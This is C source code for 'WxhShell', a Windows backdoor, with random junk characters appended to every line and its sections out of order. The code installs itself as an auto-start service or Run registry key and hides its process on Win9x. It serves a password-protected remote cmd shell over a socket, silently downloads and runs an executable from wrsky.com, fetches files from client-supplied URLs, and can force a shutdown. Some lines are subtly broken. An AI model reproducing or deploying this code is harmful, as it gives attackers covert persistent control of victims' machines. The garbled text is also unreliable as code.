    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,prF6*g+WE  
    else { 0\~Z5k`IT  
    closesocket(wsh); qcJft'>F  
    ExitThread(0); Op? OruT[  
    } $1zvgep  
    break; 4E[!,zvl  
    } LrV{j?2@  
  // 获取shell mNAY%Wn6k  
  case 's': { 1b>C<\  
    CmdShell(wsh); #4h+j%y[H  
    closesocket(wsh); $BDBN_p  
    ExitThread(0); $W42vjr4  
    break; C#=bW'C  
  } ]$ b<Gs  
  // 退出 vhT_=:x  
  case 'x': { \mN[gT}LHm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y3;q_4.  
    CloseIt(wsh); 5Wj; [2 )  
    break; %T=A{<[`  
    } zT* .jv  
  // 离开 \#x}q'BC4  
  case 'q': { V*$L;xbC|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !b-bP,q  
    closesocket(wsh); Na,_  
    WSACleanup(); ` C+HE$B  
    exit(1); ixh47M  
    break; O0*e)i8  
        } YEx)"t8E  
  } "$5\,  
  }  `}no9$l~  
Hj1 EGCA  
  // 提示信息 b~C$R[S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rspayO<]3  
} ]AS"z<  
  } /Go K}W}  
 ql&*6KZ"  
  return; i_LF`JhEQT  
} mN5 8r"!J  
t.hm9}UQ  
// shell模块句柄 Vjm_F!S  
int CmdShell(SOCKET sock) M}"r#Plq  
{ yISD/ g  
STARTUPINFO si; w*w?S  
ZeroMemory(&si,sizeof(si)); E}Xka1 Bn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N(3R|Ii  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =]Hs|{  
PROCESS_INFORMATION ProcessInfo; z&$/EP-  
char cmdline[]="cmd"; &yz&LNn'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Er:?M_ev  
  return 0; =S]a&*M  
} Px'!;  
F[7x*-NO-  
// 自身启动模式 AzpV4(:an.  
int StartFromService(void) $ 'QdFkOr  
{ ]&i+!$N_  
typedef struct 7TX,T|>9  
{ VLg EX4  
  DWORD ExitStatus; *Wb=WM-.  
  DWORD PebBaseAddress; )yb+M ez  
  DWORD AffinityMask; SHqyvF  
  DWORD BasePriority; 6=PiVwI  
  ULONG UniqueProcessId; 4DO/rtkVq  
  ULONG InheritedFromUniqueProcessId; VAYb=4lt  
}   PROCESS_BASIC_INFORMATION; .Nx W=79t  
g.#+z'l  
PROCNTQSIP NtQueryInformationProcess; lg:y|@Y''  
fRg=!<#%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =ziy`#fm,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *R`MMm  
PG)_L.7rJ  
  HANDLE             hProcess; K2/E#}/  
  PROCESS_BASIC_INFORMATION pbi; f!-Sz/c#  
Gwd{#7FM`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HrqF![_  
  if(NULL == hInst ) return 0; XqR{.jF.  
T"E(  F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 02]xJo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GZ0aOpUWVq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WY)^1Gb$ux  
s"0b%0?A  
  if (!NtQueryInformationProcess) return 0; o;-<|W>  
}Pg' vJW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0v"&G<J  
  if(!hProcess) return 0; Wc#:f 8dr  
8gmn6dCf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eZO9GMO  
s5Fr)q// !  
  CloseHandle(hProcess); FyEDt@J  
%N~C vN@T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VVrwOo CN  
if(hProcess==NULL) return 0; e.6Dl_  
`h;}3r#R{  
HMODULE hMod; n2;9geq+  
char procName[255]; 6;uBZ &g  
unsigned long cbNeeded; 5FuK\y  
?'~;Q)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qZ G-Lh  
4&}\BU*  
  CloseHandle(hProcess); dB|Te"6  
u2`xC4>c  
if(strstr(procName,"services")) return 1; // 以服务启动 8g5V,3_6  
gB CC  
  return 0; // 注册表启动 {>.>7{7  
} S+*cbA{J|  
;x>;jS.t  
// 主模块 ~! Lw1]&  
int StartWxhshell(LPSTR lpCmdLine) .w FU:y4r  
{ z(d4)z 8'6  
  SOCKET wsl; lfMH1llx  
BOOL val=TRUE; K M]Wl_z  
  int port=0; L^KdMMz;  
  struct sockaddr_in door; $k(9 U\y-  
eECj_eH-  
  if(wscfg.ws_autoins) Install(); @]3*B %t  
C/+nSe.  
port=atoi(lpCmdLine); 7L{li-crI  
p6blD-v  
if(port<=0) port=wscfg.ws_port; !=M/j}  
6bL"LM`s  
  WSADATA data; lgG8!Ja  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .D@/y uV  
!yCl(XT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6IF|3@yD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > I%zd/q?  
  door.sin_family = AF_INET; UIw?;:Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s 4IKSX  
  door.sin_port = htons(port); ip5u_Xj ?  
0e9A+&r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w:tGPort  
closesocket(wsl); DM/hcY$MW  
return 1; Y<ElJ>A2I  
} $PfV<Yj'B  
>DmRP7v   
  if(listen(wsl,2) == INVALID_SOCKET) { chwh0J;  
closesocket(wsl); vadM1c*z  
return 1; bf^ly6ml  
} uf0^E3H  
  Wxhshell(wsl); V9$-twhu  
  WSACleanup(); :A$wX$H01  
>#i $Tw  
return 0; #8qyg<F  
Alh?0Fk3)  
} v j@V !j?  
) hPVX()O!  
// 以NT服务方式启动 s{%fi*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6(5c7R#  
{ }` @?X"r  
DWORD   status = 0; ks^|>  
  DWORD   specificError = 0xfffffff; 0- Yeu5A  
$pBr &,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^k9rDn/AW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K-Y* T}?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $U mE  
  serviceStatus.dwWin32ExitCode     = 0; h=wf>^l  
  serviceStatus.dwServiceSpecificExitCode = 0; `QAh5r"  
  serviceStatus.dwCheckPoint       = 0; HU.1":.;  
  serviceStatus.dwWaitHint       = 0; <lX:eR1  
L3' \r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <wqRk<  
  if (hServiceStatusHandle==0) return; RQJ9MG w  
.hnF]_QQ  
status = GetLastError(); .kzms  
  if (status!=NO_ERROR) ;W4:#/~14  
{ a:xgjUt&5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [EcV\.  
    serviceStatus.dwCheckPoint       = 0; 4jD\]Q="1  
    serviceStatus.dwWaitHint       = 0; %1@.7 uTN  
    serviceStatus.dwWin32ExitCode     = status; 0<"tl0p_  
    serviceStatus.dwServiceSpecificExitCode = specificError; :=B[y D!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z+2u-jG  
    return; =1&}t%<X  
  } OUKj@~T  
{9,R@>R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m>+A*M8  
  serviceStatus.dwCheckPoint       = 0; Bzwx0c2VY8  
  serviceStatus.dwWaitHint       = 0; qIUC2,&g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zVn*!c  
} GHqBnE{B  
hG[4O3jo\  
// 处理NT服务事件,比如:启动、停止 f#2#g%x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /TG| B Eb  
{  2w;G4  
switch(fdwControl) EsNk<Ra  
{ PH{ c,  
case SERVICE_CONTROL_STOP: 7a27^b  
  serviceStatus.dwWin32ExitCode = 0; k.h^ $f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; olslzXn7o  
  serviceStatus.dwCheckPoint   = 0; +&zb^C`J  
  serviceStatus.dwWaitHint     = 0; !c v6 #:  
  { =NI.d>kvC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E{?L= ^cU  
  } ~ |J*E38  
  return; @b>YkJDk  
case SERVICE_CONTROL_PAUSE: xg4T` ])  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }$&);7(w  
  break; [cY?!Qd 0  
case SERVICE_CONTROL_CONTINUE: T\.7f~3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; " Tw0a!  
  break; e*6U |+kJ  
case SERVICE_CONTROL_INTERROGATE: +KYxw^k}"7  
  break; Udg & eEF  
}; /6A:J]Q_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `mWQWx$V!  
} o7hH9iY  
>zN" z)  
// 标准应用程序主函数 6qY\7R2+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X~`.}  
{ ,5`."-0}  
z1)$  
// 获取操作系统版本 s n=zh1 A  
OsIsNt=GetOsVer(); W'm!f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !e9N3Ga  
LJ:mJ#  
  // 从命令行安装 zT2F&y q  
  if(strpbrk(lpCmdLine,"iI")) Install(); P((S2"D<4  
19pND m2H1  
  // 下载执行文件 Gl d H SCy  
if(wscfg.ws_downexe) { )+VHt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6eW1<p  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Q<Kha  
} ]wJ}-#Kx  
ZJ)3GF}4  
if(!OsIsNt) { []sB^UT  
// 如果时win9x,隐藏进程并且设置为注册表启动 &*LA_]1@  
HideProc(); d8VWi*  
StartWxhshell(lpCmdLine); YY1{v?[  
} [w+yQ7P  
else 9;r48)5  
  if(StartFromService()) u)N2  
  // 以服务方式启动 ;Hz`0V  
  StartServiceCtrlDispatcher(DispatchTable); |SwZi'p  
else ..v@Q%  
  // 普通方式启动 Xq} n^W  
  StartWxhshell(lpCmdLine); Qq @_Z=mt  
tRpL0 =y  
return 0; KY;uO 8Te  
} ,'/HcF?yf  
IF,i^,  
S&gKgQD"Q  
wliGds  
=========================================== EIy]qAE:f  
35-DnTv  
H-nFsJ(R!c  
EN5G:hD  
7TMDZ*  
"\wDS2M)  
" FB?q/ _  
c %6 @ z  
#include <stdio.h> Y`E {E|J  
#include <string.h> Xs.$2  
#include <windows.h> &mO/u= u  
#include <winsock2.h> 6&/ Ew4 e  
#include <winsvc.h> P@o,4\;K  
#include <urlmon.h> y^0HCp{  
{+9^PC_hm;  
#pragma comment (lib, "Ws2_32.lib") cQUH%7m  
#pragma comment (lib, "urlmon.lib") QiQ2XW\E  
oX=*MEfX  
#define MAX_USER   100 // 最大客户端连接数 v#T?YK  
#define BUF_SOCK   200 // sock buffer c1Fru  
#define KEY_BUFF   255 // 输入 buffer )l 4>=y  
w[J (E  
#define REBOOT     0   // 重启 p4<M|1Z&  
#define SHUTDOWN   1   // 关机 n9mM5H47  
ImT+8p a  
#define DEF_PORT   5000 // 监听端口 rTm>8et  
0k. #  
#define REG_LEN     16   // 注册表键长度 7>c 0V&  
#define SVC_LEN     80   // NT服务名长度 tq4"Q BIKh  
w<8O=  
// 从dll定义API -E,{r[Sp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0& SrKn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r7wx?{~ 28  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wXIe5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2s]]!{Z#  
f0HV*%8  
// wxhshell配置信息 3f7t%  
struct WSCFG { }tl8(kjm  
  int ws_port;         // 监听端口 K2cpf  
  char ws_passstr[REG_LEN]; // 口令 |P[D2R}  
  int ws_autoins;       // 安装标记, 1=yes 0=no {YxSH %  
  char ws_regname[REG_LEN]; // 注册表键名 Rd@n?qB  
  char ws_svcname[REG_LEN]; // 服务名 pRDON)$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X,C/x)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ><:lUt*N2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]w&?k:y>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t Sh}0N)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fs)q7 7g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jte:l:yjtA  
jmZ|b6  
}; `*2*xDuP  
sWpRX2{5,  
// default Wxhshell configuration nw]e_sm  
struct WSCFG wscfg={DEF_PORT, pyb}ha  
    "xuhuanlingzhe", 6LF^[b/u  
    1, h9)]N&07b  
    "Wxhshell", 1_dMe%53  
    "Wxhshell", BW(DaNt^  
            "WxhShell Service", :n%sU* 'T  
    "Wrsky Windows CmdShell Service", ,co9f.(w  
    "Please Input Your Password: ", V]CK'   
  1, VES4x%r=  
  "http://www.wrsky.com/wxhshell.exe", :b3l J-dB  
  "Wxhshell.exe" uq#h\p|  
    }; bCac .x#jo  
vY+_tpuEH  
// 消息定义模块 QVZ6;/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v#YS`];B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vSHIl"h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "n2xn%t{  
char *msg_ws_ext="\n\rExit."; ?#{2?%_  
char *msg_ws_end="\n\rQuit."; l7r N  
char *msg_ws_boot="\n\rReboot..."; ]@j"0F/`  
char *msg_ws_poff="\n\rShutdown..."; =[tls^  
char *msg_ws_down="\n\rSave to "; a?Qcf;o  
O ]4 x;`)  
char *msg_ws_err="\n\rErr!"; :R_#'i  
char *msg_ws_ok="\n\rOK!"; +ouy]b0`t  
~"4vd 3  
char ExeFile[MAX_PATH]; z6>ZV6(d2^  
int nUser = 0; #t9=qR~"  
HANDLE handles[MAX_USER]; rc{[\1 -N  
int OsIsNt; l4BO@   
5fDtSsW  
SERVICE_STATUS       serviceStatus; 5l7L@Ey  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LZAj4|~,m  
vM>`CZ  
// 函数声明 kl{OO%jZ  
int Install(void); vS,G<V3B  
int Uninstall(void); S5[RSAbf*t  
int DownloadFile(char *sURL, SOCKET wsh); k;Ny%%5  
int Boot(int flag); 0f}Q~d=QL  
void HideProc(void); '>lPq tdZ  
int GetOsVer(void); (P52KD[A[  
int Wxhshell(SOCKET wsl); Ok{:QA~#  
void TalkWithClient(void *cs); _F$t#.o  
int CmdShell(SOCKET sock); +\(ay"+ d  
int StartFromService(void); s)'_{ A"h  
int StartWxhshell(LPSTR lpCmdLine); `] dx%  
{p_vR/ yN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #o |&MV_j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r1H['{$  
CR8r|+(8  
// 数据结构和表定义 \oZUG  
SERVICE_TABLE_ENTRY DispatchTable[] = +Gwe%p Q  
{ EvardUB)  
{wscfg.ws_svcname, NTServiceMain}, $(mdz)Cfy  
{NULL, NULL} ~esEql=Q3'  
}; +AC-f2  
'jlXLb  
// 自我安装 a>jI_)L  
int Install(void) Ch&]<#E>`  
{ XTXo xZ#w  
  char svExeFile[MAX_PATH]; 3ij I2Zy  
  HKEY key; NCpn^m)Q}  
  strcpy(svExeFile,ExeFile); 4a50w:Jy]  
YH+\rb_  
// 如果是win9x系统,修改注册表设为自启动 gm\o>YclS  
if(!OsIsNt) { X\)KVn`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y>!W&Gtu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R~c vml  
  RegCloseKey(key); o0+BQ&A)s*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r^tXr[}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = (h;L$  
  RegCloseKey(key); VKJ~ZIO@A  
  return 0; F^bQ-  
    } xgw)`>p,W  
  } Bst>9V&R  
} 7a_n\]t465  
else { d"`>&8*  
+6Fdi*:  
// 如果是NT以上系统,安装为系统服务 &)}:Y!qiu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >xMhA`l  
if (schSCManager!=0) t }C ^E  
{ >(4S `}K  
  SC_HANDLE schService = CreateService r@ *A   
  ( 92ww[+RQ@  
  schSCManager, 1?$!y  
  wscfg.ws_svcname, 2_~XjwKE  
  wscfg.ws_svcdisp, Pi sr&"A  
  SERVICE_ALL_ACCESS, J9t?]9.,:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z/UVKJm>:  
  SERVICE_AUTO_START, |a:VpM  
  SERVICE_ERROR_NORMAL, Uht:wEr  
  svExeFile, ]~ eWr2uG?  
  NULL, GYmBxX87  
  NULL, }uj'BO2?  
  NULL, f<:SdtG5  
  NULL, 2*DS_=6o  
  NULL V~"d`j  
  ); Z8 n%=(He  
  if (schService!=0) W$&Ets8zo  
  { /;m!>{({)  
  CloseServiceHandle(schService); >w#3fTJ  
  CloseServiceHandle(schSCManager); .vF< 3p|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]=VI"v<X  
  strcat(svExeFile,wscfg.ws_svcname); >w;W& [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =QO[zke:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2j BE+k"M  
  RegCloseKey(key); 4$w-A-\ t  
  return 0; BcO2* 3  
    } $5(%M8qmQ  
  } }ucg!i3C  
  CloseServiceHandle(schSCManager); 5!{g6=(  
} vszAr( t  
} *K)53QKlE  
6]49kHgMhe  
return 1; eL4@% ]o  
} "T[jQr  
69[k ?')LM  
// 自我卸载 zszx@`/3  
int Uninstall(void) qfe%\krN{i  
{ z`7C)p:  
  HKEY key; *fX)=?h56  
K1nwv"  
if(!OsIsNt) { R@aT=\u+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +-137!x\q  
  RegDeleteValue(key,wscfg.ws_regname); #$)rwm.jW?  
  RegCloseKey(key); H pfI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =W^L8!BE'  
  RegDeleteValue(key,wscfg.ws_regname); Z6ex<[`I  
  RegCloseKey(key); u;1NhD<n  
  return 0; f^)nZ:~  
  }  Q'M Ez  
} 3!UP>,!  
} 3goJ(XI  
else { `W S  
H;L&G|[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }=4".V`-o  
if (schSCManager!=0) G\AQql(f4  
{ a-5$GvG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Db:WAjU  
  if (schService!=0) dPX>A4wp  
  { IsL/p3|  
  if(DeleteService(schService)!=0) { :|Ty 0>k  
  CloseServiceHandle(schService); \./2Qc,  
  CloseServiceHandle(schSCManager); 8{ e 3  
  return 0; ;S j* {  
  } ^yZEpQN_  
  CloseServiceHandle(schService); I2Rp=L:z5  
  } E:OeU_\  
  CloseServiceHandle(schSCManager); AtYYu  
} Tr!X2#)A!  
} N^at{I6C  
@SB+u+mOS  
return 1; r\`m[Q  
} s``L?9  
~'mhC46d  
// 从指定url下载文件 LvdMx]*SSr  
int DownloadFile(char *sURL, SOCKET wsh) @h3)! #\ N  
{ 'm:B(N@+  
  HRESULT hr; [AwE  
char seps[]= "/"; !d_A?q'hN  
char *token; P dnK@a  
char *file; !IU*Ayg  
char myURL[MAX_PATH]; DR=1';63  
char myFILE[MAX_PATH]; @ U|u _S@  
xb>+~59:  
strcpy(myURL,sURL); yp/*@8%_E  
  token=strtok(myURL,seps); Rw% KEUDm  
  while(token!=NULL) z<*]h^ !3  
  { 'M/&bu r  
    file=token; "TI? qoz  
  token=strtok(NULL,seps); tBQ> p.  
  } G8'3.;"W5  
gQwmYe  
GetCurrentDirectory(MAX_PATH,myFILE); X2Mj|_#u  
strcat(myFILE, "\\"); LOzKpvGl  
strcat(myFILE, file); v_ h{_b8  
  send(wsh,myFILE,strlen(myFILE),0); ?sE21m?b-  
send(wsh,"...",3,0); gV BV@v!W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $!w%=  
  if(hr==S_OK) ;wZ.p"T9^  
return 0; AR^Di`n!  
else v2R:=d ')>  
return 1; 6 [E"  
^u{$$.&  
} PN=yf@<V3F  
:f:C*mYvu  
// 系统电源模块 HS9U.G>  
int Boot(int flag) K6oLSr+EAK  
{ Hy'&x?F6  
  HANDLE hToken; (""&$BJQ|  
  TOKEN_PRIVILEGES tkp; o~p^`5#  
(ShJ!  
  if(OsIsNt) { !hUyX}{`j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <KX#;v!I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GYO"1PM  
    tkp.PrivilegeCount = 1; 9:s!#FYFM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?=&*6H_v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =j-{Mxb3  
if(flag==REBOOT) { 3E-&8x7uYR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j/&7L@Y  
  return 0; 7dZ!GX?\y  
} Jjv&@a}  
else { 8wOPpdc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wC~Uy%  
  return 0; _45"Z}Zx  
} `N+ P ,  
  } TzJN,]F!M  
  else { mMH0 o  
if(flag==REBOOT) { !WXSrICX[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /2(F  
  return 0; C 4,W[L]4"  
} =9-c*bL  
else { vr$ [  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '"Gi&:*nQ<  
  return 0; ko$R%W&T  
} =8-e1R/  
} -L@=j  
zuw6YY8kQ  
return 1; :O2N'vl47A  
} XT)@)c7j  
`KN{0<Ne  
// win9x进程隐藏模块 %BJ V$tO  
void HideProc(void) " PPwJ/L(  
{ 2cL<`  
\Uiw: ,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +FI]0r  
  if ( hKernel != NULL ) $v,_8{ !  
  { xp = ]J UQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n7vi@^lf(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V! p;ME  
    FreeLibrary(hKernel); R4?/7  
  } ja2LXM  
.vg;K@{  
return; oVdmgmT.Y  
} <>cajQ@  
sy;~(rpg  
// 获取操作系统版本 f`cO5lP/:)  
int GetOsVer(void) 0:nyOx(;  
{ Em;zi.Y+V  
  OSVERSIONINFO winfo; .3#Tw'% G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C'Q} Z_  
  GetVersionEx(&winfo); NR" Xn7G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hz!.|U@,{<  
  return 1; {dDU^7O  
  else Q =Z-vTD+  
  return 0; j1)w1WY0@  
} :7gIm|2"]  
{8eNQ-4I  
// 客户端句柄模块 _:J! |'  
int Wxhshell(SOCKET wsl) q4{ 6@q  
{ yd $y\pN=<  
  SOCKET wsh; K\#+;\V  
  struct sockaddr_in client; h1xYQF_`Z  
  DWORD myID; N]3XDd|q  
d}1R<Q;F  
  while(nUser<MAX_USER) tG'c79D\  
{ !U@[lBW  
  int nSize=sizeof(client); ^c*'O0y[D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s&4Y+dk93  
  if(wsh==INVALID_SOCKET) return 1; &}<IR\ci  
5Jd,]~KAP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yo5|~"yZY  
if(handles[nUser]==0) t2>Vj>U  
  closesocket(wsh); BO^e.iB/  
else C 7v 8  
  nUser++; : 7'anj  
  } \O[Cae:^?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n,`&f~tap  
` 6PdMvF  
  return 0; w;XXjT  
} ffdyDUzQ  
z' @F@k6  
// 关闭 socket ~e|~c<!z8@  
void CloseIt(SOCKET wsh) ."${.BPn~  
{ >354O6  
closesocket(wsh); =4G9ev 4  
nUser--; Hc71 .rqS  
ExitThread(0); krgsmDi7  
} _15r!RZ:1  
:2La,  
// 客户端请求句柄 I_Q'+d  
void TalkWithClient(void *cs) >Py=H+d!j  
{ {C [7V{4(%  
KdUmetx1  
  SOCKET wsh=(SOCKET)cs; uCx\Bt"VI  
  char pwd[SVC_LEN]; Pt E>08  
  char cmd[KEY_BUFF]; R ~#\gMs  
char chr[1]; f5AK@]4G  
int i,j;  e tY9Pq  
L0}"H .  
  while (nUser < MAX_USER) { #,Rmu  
w _n)*he)z  
if(wscfg.ws_passstr) { z"|^Y|`m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tJc9R2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1N2s[ \q$  
  //ZeroMemory(pwd,KEY_BUFF); : -OHD#>%  
      i=0; bEbnZ<kz*  
  while(i<SVC_LEN) { m3,i{  
YoJN.],gf  
  // 设置超时 OPar"z^EV  
  fd_set FdRead; qm2  
  struct timeval TimeOut; dF"Sz4DY#  
  FD_ZERO(&FdRead); 5TqX;=B  
  FD_SET(wsh,&FdRead); ~nw]q<7r  
  TimeOut.tv_sec=8; /_v@YB!0  
  TimeOut.tv_usec=0; D3$}S{Yw1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); El ,p}Bi.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M(xd:Fa?  
;a2TONW   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 42mdak}\  
  pwd=chr[0]; C*=#=.~~{  
  if(chr[0]==0xd || chr[0]==0xa) { p "u5wJ_  
  pwd=0; Ji gc@@B.  
  break; .M!HVq47m  
  } d n3sh<  
  i++; R["_Mff  
    } ^8-CUH\  
s-[_%  
  // 如果是非法用户,关闭 socket xDm^f^}>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =JY9K0S~  
} wj /OYnMw  
}sZme3*J[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y]yp8Bs+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x pT85D  
#)z_TM07P  
while(1) { pPUKx =d  
'Tj9btM*cL  
  ZeroMemory(cmd,KEY_BUFF); &^9 2z:?  
ZBi|B D  
      // 自动支持客户端 telnet标准   q<dZy? f  
  j=0; x xWnB  
  while(j<KEY_BUFF) { a2/!~X9F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g^/  
  cmd[j]=chr[0]; s0WI93+z  
  if(chr[0]==0xa || chr[0]==0xd) { %Sf%XNtu  
  cmd[j]=0; 6x7pqH M  
  break;  1)U%p  
  } n]jZ2{g+   
  j++; ?*){%eE  
    } dX?8@uzu  
Q)#+S(TG  
  // 下载文件 lku}I4  
  if(strstr(cmd,"http://")) { &N.D!7X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u6j\@U6I  
  if(DownloadFile(cmd,wsh)) q3<Pb,Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=3Ty]e  
  else }j;*7x8(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %#7Yr(&  
  } .-Yhpw>f  
  else { Z(k7&^d  
ju~js  
    switch(cmd[0]) { Sxa+"0d6  
  \4zb9CxOZ  
